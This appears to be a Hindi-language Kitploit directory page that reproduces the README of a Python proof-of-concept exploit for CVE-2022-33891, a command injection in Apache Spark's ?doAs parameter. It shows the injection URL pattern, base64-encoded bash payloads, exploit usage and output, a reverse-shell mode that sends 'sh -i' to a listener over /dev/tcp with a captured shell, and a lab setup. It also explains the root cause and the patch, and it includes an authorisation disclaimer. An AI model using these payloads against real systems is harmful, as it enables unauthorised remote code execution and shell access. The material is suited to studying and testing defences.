Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-33891 — Apache Spark शेल कमांड इंजेक्शन भेद्यता | Kitploit
उपकरण/GitHubGitHub/huskyhacks/cve-2022-33891
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Apache Spark शेल कमांड इंजेक्शन भेद्यता

रिपॉजिटरी देखें
891734 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-33891

Apache Spark शेल कमांड इंजेक्शन भेद्यता

Apache Spark शेल कमांड इंजेक्शन भेद्यता का फायदा उठाने के लिए एक Python POC। मैंने कुछ अन्य POCs देखे थे, लेकिन वे बहुत संदिग्ध लग रहे थे। यह वाला साफ और सरल है।

मैंने इस एक्सप्लॉइट/भेद्यता की खोज नहीं की है। मैं सिर्फ समुदाय के लिए एक सुरक्षित POC बनाना चाहता था ^.^

CVE को मूल रूप से Databricks के Kostya Kortchinsky ने खोजा था।

अपडेट 9/7/22: अरे, अब इसके लिए एक Metasploit मॉड्यूल मौजूद है! इसे h00die-gr3y ने बनाया है और अब इसे मर्ज! कर दिया गया है!

प्रभावित संस्करण

Apache Spark के संस्करण 3.0.3 और उससे पहले, संस्करण 3.1.1 से 3.1.2, और संस्करण 3.2.0 से 3.2.1

भेद्य घटक

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

उदाहरण

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 10 सेकंड के लिए सोता है

सेटअप

आपको Spark का एक भेद्य संस्करण चाहिए जिसमें केवल एक कॉन्फ़िग विकल्प बदला गया हो।

  • निर्भरताएँ इंस्टॉल करें: $ pip3 install -r requirements.txt
  • spark/ निर्देशिका में बदलें।
  • spark/ निर्देशिका में दिए गए docker-compose.yml का उपयोग करें और docker-compose up चलाएँ। कंटेनर को शुरू होने दें।
  • एक नए टर्मिनल में, sudo docker exec -it spark_spark_1 /bin/bash दर्ज करें।
  • कंटेनर bash सत्र में, यह दर्ज करें: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • वैकल्पिक रूप से, यह सुनिश्चित करने के लिए spark-defaults.conf की सामग्री को cat करें कि सब कुछ ठीक दिखता है।
  • इंटरैक्टिव bash शेल से बाहर निकलें और अपनी docker-compose प्रक्रिया को Ctl-C करें।
  • एक बार कंटेनर सुचारू रूप से बंद हो जाएँ, तो docker-compose up दोबारा चलाएँ।
  • उपयोग

    root@kitploit:~
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ python3 poc.py -h
    usage: poc.py [-h] -u URL -p PORT [--revshell]
                  [-lh LISTENINGHOST] [-lp LISTENINGPORT]
                  [--check] [--verbose]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is
                            exploitable with a sleep test
      --verbose             Verbose mode
    
    

    उदाहरण

    जाँच करें कि लक्ष्य भेद्य है या नहीं:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
    [*] Attempting to connect to site...
    [*] URL request: http://localhost:8080/?doAs='testing'
    [*] Response status code: 403
    [!] Performing sleep test of 10 seconds...
    [*] T1: 2022-07-22 10:47:48.406996
    [*] Command is: sleep 10
    [*] Base64 command is: c2xlZXAgMTA=
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [*] Sending exploit...
    [*] Response status code: 403
    [*] Hint: 403 is good.
    [*] T2: 2022-07-22 10:47:58.425108
    [*] Delta T: 10
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    कमांड प्रॉम्प्ट लूप में कमांड भेजें:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    [cve-2022-33891> sleep 5
    [*] Command is: sleep 5
    [*] Base64 command is: c2xlZXAgNQ==
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    [*] Sending exploit...
    [*] Response status code: 403
    [*] Hint: 403 is good.
    [cve-2022-33891> 
    

    रिवर्स शेल निष्पादित करें:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
    nc -nvlp 9001
    [*] When your listener is set up, press enter!
    [*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
    [*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
    [*] Sending exploit...
    
    ...[in the other terminal]...
    
    husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
    Listening on 0.0.0.0 9001
    Connection received on 172.19.0.2 52136
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    $ echo "hackerman"
    hackerman
    $ 
    

    अधिक जानकारी

    कमांड इंजेक्शन इसलिए होता है क्योंकि Spark ?doAs पैरामीटर में पास किए गए उपयोगकर्ता की समूह सदस्यता को एक रॉ Linux कमांड का उपयोग करके जाँचता है। Bash इंटरपोलेशन कमांड चलाता है, आउटपुट को id फ़ील्ड में भेजता है, और परिणामी उपयोगकर्ता को खोजने का प्रयास करता है।

    ?doAs= उपयोगकर्ता के मान के रूप में which python पास करने से traceback में यह परिणाम मिलता है:

    root@kitploit:~
    ...
    http://localhost:8080/?doAs=`which%20python`
    ...
    
    spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
    spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
    spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
    

    यहाँ, Java ने निर्णय लिया है कि किसी निर्दिष्ट उपयोगकर्ता के लिए समूह सदस्यता जाँचने हेतु id कमांड को bash -c में पास करना सबसे अच्छा होगा। समस्या यह है कि यह कमांड इंजेक्शन की भी अनुमति देता है। Bash इंटरपोलेशन ने दिए गए कमांड का मूल्यांकन किया है और इस आउटपुट की पंक्ति 1 पर परिणाम मुद्रित किए हैं, तथा कमांड के stdout द्वारा उपयोगकर्ता को खोजने का प्रयास करता है।

    /opt/bitnami/python/bin/python नाम का कोई उपयोगकर्ता नहीं है, लेकिन इसका निश्चित मतलब है कि कमांड Bash को दिया गया और निष्पादित किया गया।

    पैच किए गए संस्करण इस कॉल को bash -c id के बजाय /bin/id कमांड का पूरा पथ देने के लिए पैरामीटरीकृत करते हैं।

    यह ध्यान देने योग्य है कि कमांड निष्पादन के दौरान पृष्ठ पर कुछ भी वापस प्रतिबिंबित नहीं होता है, इसलिए यह ब्लाइंड OS इंजेक्शन है। आपके कमांड चलते हैं, लेकिन इसका कोई संकेत नहीं मिलेगा कि वे सफल हुए या नहीं, या यह भी नहीं कि आप जिस प्रोग्राम को चला रहे हैं वह लक्ष्य पर मौजूद है या नहीं। उदाहरण के लिए, इस रिपो में docker-compose.yml फ़ाइल के साथ शुरू किए गए कंटेनर में ping नहीं है, इसलिए पिंगबैक के माध्यम से कमांड इंजेक्शन की जाँच करना काम नहीं करेगा। लेकिन आपको यह पता नहीं होगा, इसलिए आप सोचते रह जाएँगे कि यह काम किया या नहीं।

    स्लीप टेस्ट एक सुरक्षित शर्त है ^.^

    OPSEC

    मैंने इसे OPSEC-सुरक्षित बनाने में बिल्कुल कोई मेहनत नहीं की। रेड टीम वालों, यह आपकी ज़िम्मेदारी है।

    अस्वीकरण

    इस POC में कोई निष्क्रिय एन्यूमरेशन क्षमता नहीं है। यह एक्सप्लॉइट एक ब्लाइंड कमांड इंजेक्शन है। यदि आप इस स्क्रिप्ट का उपयोग किसी लक्ष्य के विरुद्ध करते हैं, तो आप उस पर पैकेट भेज रहे हैं। यहाँ तक कि यदि आप --check पैरामीटर का उपयोग करते हैं और लक्ष्य भेद्य है, तो आप यह साबित करने के लिए सक्रिय रूप से उसका शोषण कर रहे हैं कि वह भेद्य है।

    इसे परीक्षण के प्रति संवेदनशील प्रोडक्शन सिस्टम पर उपयोग न करें। यदि आपके पास ऐसा करने का अधिकार नहीं है, तो इसका उपयोग लक्ष्यों के विरुद्ध न करें। आप इसे कैसे उपयोग करते हैं, इसके लिए मैं किसी भी तरह से उत्तरदायी नहीं हूँ।

    लाइसेंस पर एक नज़र डालें।

    संदर्भ

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (I do not recommend using this POC)
    टूल डाउनलोड करें